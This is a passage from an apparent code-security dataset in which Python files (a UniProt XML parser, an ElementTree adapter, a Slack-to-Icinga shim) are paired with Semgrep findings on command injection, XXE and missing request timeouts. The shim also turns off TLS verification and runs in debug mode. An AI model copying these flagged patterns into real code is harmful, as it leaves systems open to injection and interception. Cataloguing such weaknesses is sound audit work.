"semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_61184ed5132b4d9b_c8d709d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 141, "line_end": 141, "column_start": 9, "column_end": 106, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 141, "col": 9, "offset": 3606}, "end": {"line": 141, "col": 106, "offset": 3703}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_61184ed5132b4d9b_b52e5da4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 141, "line_end": 141, "column_start": 24, "column_end": 93, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 141, "col": 24, "offset": 3621}, "end": {"line": 141, "col": 93, "offset": 3690}, "extra": {"message": "Detected subprocess function 'run' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_61184ed5132b4d9b_7227d885", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 141, "line_end": 141, "column_start": 101, "column_end": 105, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/61184ed5132b4d9b.py", "start": {"line": 141, "col": 101, "offset": 3698}, "end": {"line": 141, "col": 105, "offset": 3702}, "extra": {"message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
8
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "rules.python.lang.security.audit.subp...
[ "security", "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "MEDIUM", "LOW", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 21, 21, 84, 84, 84, 141, 141, 141 ]
[ 21, 21, 84, 84, 84, 141, 141, 141 ]
[ 12, 102, 9, 24, 164, 9, 24, 101 ]
[ 107, 106, 169, 156, 168, 106, 93, 105 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' function...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "MEDIUM", "HIGH", "LOW", "MEDIUM", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "MEDIUM", "LOW", "HIGH", "MEDIUM", "LOW" ]
export.py
/scripts/export.py
roadrunner-craft/assets
MIT
2024-11-18T21:51:27.352921+00:00
1,494,715,930,000
5c0ffb69bd4228d04bbbe30ba78e25d04c0d928f
3
{ "blob_id": "5c0ffb69bd4228d04bbbe30ba78e25d04c0d928f", "branch_name": "refs/heads/master", "committer_date": 1494715930000, "content_id": "2b87224a289b0ba70a6c94fe1f8138ea8317d4de", "detected_licenses": [ "MIT" ], "directory_id": "f55c8dc42093807c0bb13deb207106e947207387", "extension": "py", "filename": "parse_individual_xml_working.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 90802122, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5848, "license": "MIT", "license_type": "permissive", "path": "/parse_individual_xml_working.py", "provenance": "stack-edu-0054.json.gz:588564", "repo_name": "griffincalme/Some_UniProt_Scripts", "revision_date": 1494715930000, "revision_id": "c8e7871d8c7057ffda2d4ec1ec751ab10f0d7087", "snapshot_id": "edc1703d71ff53097a2c43c4dbd68015cf2c2226", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/griffincalme/Some_UniProt_Scripts/c8e7871d8c7057ffda2d4ec1ec751ab10f0d7087/parse_individual_xml_working.py", "visit_date": "2021-01-20T15:54:48.287364" }
2.5625
stackv2
from Bio import SeqIO import re import xml.etree.cElementTree as ET import pandas as pd import os columns = ['Uniprot_ID', 'protein_name', 'gene_name', 'description', 'ATP_binding', 'binding_type', 'binding_location_start', 'binding_location_end', 'sequence'] df = pd.DataFrame(columns=columns) #file2 = 'A7J1Q9.xml' #file = 'XML/Q8WZ42.xml' #filename = file.split('/')[-1] #print(filename) #columns = ['Uniprot_ID', 'protein_name', 'gene_name', 'description', 'ATP_binding', 'binding_type', 'binding_location', 'sequence'] df_counter = 0 # keep track of the df row we're appending for file in os.listdir('XML/'): if file.endswith(".xml"): print(file) filepath = 'XML/' + file record = SeqIO.read(filepath, "uniprot-xml") #print(record) tree = ET.ElementTree(file=filepath) root = tree.getroot() print('---------') uniprot_ID = re.search(r'ID:\s(.*)', str(record)) uniprot_ID = uniprot_ID.group(0) uniprot_ID = uniprot_ID.split(' ')[1] #print(uniprot_ID) try: protein_name = re.search(r'Name:\s(.*)', str(record)) protein_name = protein_name.group(0) protein_name = protein_name.split(' ')[1] except: pass #print(protein_name) try: gene_name = re.search(r'gene_name_primary=(.*)', str(record)) gene_name = gene_name.group(0) gene_name = gene_name.split('=')[1] except: pass #print(gene_name) try: uniprot_description = re.search(r'Description:\s(.*)', str(record)) uniprot_description = uniprot_description.group(0) uniprot_description = uniprot_description.split(': ')[1] except: pass #print(uniprot_description) # extract sequence as a string sequence = record.seq sequence = str(sequence) #print(sequence) # I'm really sorry to whomever tries to untangle this in the future # essentially, I'm trying to extract features with 'ATP' binding and get the positions # this stuff is buried in the xml file my_iter = tree.iter() for elem in my_iter: if elem.tag == '{http://uniprot.org/uniprot}feature': try: if elem.attrib['description'] == 'ATP': #print(elem.attrib) ATP_binding = 'ATP' binding_type = elem.attrib['type'] if binding_type == 'binding site': feature_children = elem.getchildren() for feature_child in feature_children: ft_grandchildren = feature_child.getchildren() for ft_grandchild in ft_grandchildren: #print(ft_grandchild.attrib) binding_location_start = ft_grandchild.attrib['position'] binding_location_end = ft_grandchild.attrib['position'] elif binding_type == 'nucleotide phosphate-binding region': feature_children = elem.getchildren() for feature_child in feature_children: ft_grandchildren = feature_child.getchildren() #binding_location = [] region_counter = 0 for ft_grandchild in ft_grandchildren: if region_counter == 0: binding_location_start = ft_grandchild.attrib['position'] else: binding_location_end = ft_grandchild.attrib['position'] region_counter +=1 #print(ft_grandchild.attrib) #binding_location.append(ft_grandchild.attrib['position']) #binding_location = ft_grandchild.attrib['position'] #print(ATP_binding) #print(binding_type) #print(binding_location) row_list = [uniprot_ID, protein_name, gene_name, uniprot_description, ATP_binding, binding_type, binding_location_start, binding_location_end, sequence] print(row_list) df.loc[df_counter] = row_list df_counter += 1 except: pass # for lines that don't have atp, pass #df.append(series) print('') #print(df.head()) df.to_excel('ATP_binding_sites.xlsx', sheet_name='Sheet1', index=False) # Structure of features in XML file, pulls out the info for ATP binding sites and regions: ''' <feature type="binding site" description="ATP" evidence="26"> # elem, extract attrib for type and description <location> # child <position position="32207"/> # grandchild, extract attrib {position:'32207'} </location> </feature> ''' ''' <feature type="nucleotide phosphate-binding region" description="ATP" evidence="26"> <location> <begin position="32184"/> <end position="32192"/> </location> </feature> '''
153
36.22
132
28
1,121
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_ef8b2571e6f9ca7d_27353505", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/ef8b2571e6f9ca7d.py", "start": {"line": 3, "col": 1, "offset": 32}, "end": {"line": 3, "col": 36, "offset": 67}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 3 ]
[ 3 ]
[ 1 ]
[ 36 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
parse_individual_xml_working.py
/parse_individual_xml_working.py
griffincalme/Some_UniProt_Scripts
MIT
2024-11-18T21:51:29.863787+00:00
1,681,276,066,000
02392e079a451cabcac5107b47c21e5b66bc1c35
2
{ "blob_id": "02392e079a451cabcac5107b47c21e5b66bc1c35", "branch_name": "refs/heads/master", "committer_date": 1681276066000, "content_id": "8fd1a4e10e7347e79a7c21a3e752c474e3806553", "detected_licenses": [ "Apache-2.0" ], "directory_id": "515e45025082ffbfda960635e31f99c4ca1aa7d8", "extension": "py", "filename": "stdlib_etree.py", "fork_events_count": 42, "gha_created_at": 1496472996000, "gha_event_created_at": 1627305784000, "gha_language": "C", "gha_license_id": "Apache-2.0", "github_id": 93229662, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1525, "license": "Apache-2.0", "license_type": "permissive", "path": "/src/html5_parser/stdlib_etree.py", "provenance": "stack-edu-0054.json.gz:588579", "repo_name": "kovidgoyal/html5-parser", "revision_date": 1681276066000, "revision_id": "ef7d4af932293fa04c3ac78a77b7fb2f0ac2f26d", "snapshot_id": "62a3e626cba563076c7503fafb2fd83c506c61dd", "src_encoding": "UTF-8", "star_events_count": 714, "url": "https://raw.githubusercontent.com/kovidgoyal/html5-parser/ef7d4af932293fa04c3ac78a77b7fb2f0ac2f26d/src/html5_parser/stdlib_etree.py", "visit_date": "2023-05-30T09:44:52.629086" }
2.328125
stackv2
#!/usr/bin/env python # vim:fileencoding=utf-8 # License: Apache 2.0 Copyright: 2017, Kovid Goyal <kovid at kovidgoyal.net> from __future__ import absolute_import, division, print_function, unicode_literals import sys from lxml.etree import _Comment if sys.version_info.major < 3: from xml.etree.cElementTree import Element, SubElement, ElementTree, Comment, register_namespace else: from xml.etree.ElementTree import Element, SubElement, ElementTree, Comment, register_namespace register_namespace('svg', "http://www.w3.org/2000/svg") register_namespace('xlink', "http://www.w3.org/1999/xlink") def convert_elem(src, parent=None): if parent is None: ans = Element(src.tag, dict(src.items())) else: ans = SubElement(parent, src.tag, dict(src.items())) return ans def adapt(src_tree, return_root=True, **kw): src_root = src_tree.getroot() dest_root = convert_elem(src_root) stack = [(src_root, dest_root)] while stack: src, dest = stack.pop() for src_child in src.iterchildren(): if isinstance(src_child, _Comment): dest_child = Comment(src_child.text) dest_child.tail = src_child.tail dest.append(dest_child) else: dest_child = convert_elem(src_child, dest) dest_child.text, dest_child.tail = src_child.text, src_child.tail stack.append((src_child, dest_child)) return dest_root if return_root else ElementTree(dest_root)
44
33.66
100
15
361
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_7192b94e4258182d_98df2b61", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 12, "column_start": 5, "column_end": 101, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/7192b94e4258182d.py", "start": {"line": 12, "col": 5, "offset": 289}, "end": {"line": 12, "col": 101, "offset": 385}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_7192b94e4258182d_a2f16f5e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 5, "column_end": 100, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/7192b94e4258182d.py", "start": {"line": 14, "col": 5, "offset": 396}, "end": {"line": 14, "col": 100, "offset": 491}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 12, 14 ]
[ 12, 14 ]
[ 5, 5 ]
[ 101, 100 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The Python documentation recommends using `defusedxml` ins...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
stdlib_etree.py
/src/html5_parser/stdlib_etree.py
kovidgoyal/html5-parser
Apache-2.0
2024-11-18T21:51:31.621114+00:00
1,520,025,939,000
2d615a120cee1c7991e704b8b4032840fbea98da
3
{ "blob_id": "2d615a120cee1c7991e704b8b4032840fbea98da", "branch_name": "refs/heads/master", "committer_date": 1520025939000, "content_id": "8421dafdb12f3ffb3715a8123706312201b41f45", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "f68ca2e94f01e2d06ba88a0093fa35f9dae1267f", "extension": "py", "filename": "slack_icinga_ack_translator.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 123592249, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3094, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/slack_icinga_ack_translator.py", "provenance": "stack-edu-0054.json.gz:588601", "repo_name": "Elemnir/slack_icinga_ack_translator", "revision_date": 1520025939000, "revision_id": "7d48baed5aa3e04855683c1d4d1ee8b55352c341", "snapshot_id": "fdc69c43483702a0c349a111f3a6a3c8922dc72d", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/Elemnir/slack_icinga_ack_translator/7d48baed5aa3e04855683c1d4d1ee8b55352c341/slack_icinga_ack_translator.py", "visit_date": "2021-01-25T13:35:56.603896" }
2.5625
stackv2
#!/usr/bin/env python35 """ slack_icinga_ack_translator ~~~~~~~~~~~~~~~~~~~~~~~~~~~ This service utilizes Bottle and Requests to form a shim layer translating Slack slash command out-going webhooks into Icinga2 Problem Acknowledgement API calls. Primarily so that admins may acknowledge issues remotely without requiring them to first fully authenticate to the Icinga web client. """ __author__ = 'Adam Howard' __credits__ = ['Adam Howard', 'Stephen Milton'] __license__ = 'BSD 3-Clause' import base64 import json import logging import os import shlex import bottle import requests BOTTLE_PORT = int(os.getenv('BOTTLE_PORT', 5668)) ICINGA_HOST = os.getenv('ICINGA_HOST', 'https://localhost:5665') ICINGA_USER = os.getenv('ICINGA_USER', 'root') ICINGA_PASS = os.getenv('ICINGA_PASS', '') SLACK_API_TOKEN = os.getenv('SLACK_API_TOKEN', '') LOGGING_PATH = os.getenv('LOGGING_PATH', '/var/log/icinga2/slack_ack_translator.log') app = bottle.Bottle() logging.basicConfig( filename=LOGGING_PATH, format='[%(asctime)s] %(levelname)s [%(module)s:%(lineno)d] %(message)s', level=logging.INFO, ) @app.post('/') def icinga_middleware_handler(): addr = bottle.request.remote_addr user = bottle.request.forms.get('user_name', 'icingaadmin') text = bottle.request.forms.get('text', '') cmd = shlex.split(text) # Check for the Slack API Token if bottle.request.forms.get('token','') != SLACK_API_TOKEN: logging.warning('%s - Invalid Slack API Token.', addr) bottle.abort(403, 'Invalid Slack API Token.') # Parse the command and determine the host or service to target if len(cmd) == 3: target = "type=Service&service={0}!{1}".format(cmd[0], cmd[1]) elif len(cmd) == 2: target = "type=Host&host={0}".format(cmd[0]) else: logging.info('%s - %s: Invalid Command: %s', addr, user, text) return "Usage: `/ack host [service] \"Comment ...\"`" # Log the user's command, regardless of whether or not it works logging.info('%s - %s: %s', addr, user, text) # Make a POST request to the Icinga API filtering using the target url = ICINGA_HOST + "/v1/actions/acknowledge-problem?" + target r = requests.post(url, verify=False, auth=(ICINGA_USER, ICINGA_PASS), headers={ 'Accept': 'application/json' }, json={ 'author': bottle.request.forms.get('user_name', 'icingaadmin'), 'comment': cmd[-1].strip('"'), 'notify': True } ) # If the command failed, log it and inform the user if r.status_code < 200 or r.status_code > 300: logging.error('Icinga returned error %s: %s', r.status_code, r.text) return 'Icinga returned error {0}: {1}'.format(r.status_code, r.text) # Otherwise the request was a success, and Icinga should handle notifying # the Slack channel for us. Return an empty 200 - OK response to the user. return "" if __name__ == "__main__": bottle.run(app, host='0.0.0.0', port=BOTTLE_PORT, debug=True)
88
34.16
85
16
831
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_2aa109278c521b11_125a22d8", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 75, "column_start": 9, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/2aa109278c521b11.py", "start": {"line": 67, "col": 9, "offset": 2253}, "end": {"line": 75, "col": 6, "offset": 2559}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_2aa109278c521b11_50e6fae7", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.post(url, verify=False, auth=(ICINGA_USER, ICINGA_PASS), \n headers={\n 'Accept': 'application/json'\n }, json={ \n 'author': bottle.request.forms.get('user_name', 'icingaadmin'),\n 'comment': cmd[-1].strip('\"'),\n 'notify': True\n }\n , timeout=30)", "location": {"file_path": "unknown", "line_start": 67, "line_end": 75, "column_start": 9, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/2aa109278c521b11.py", "start": {"line": 67, "col": 9, "offset": 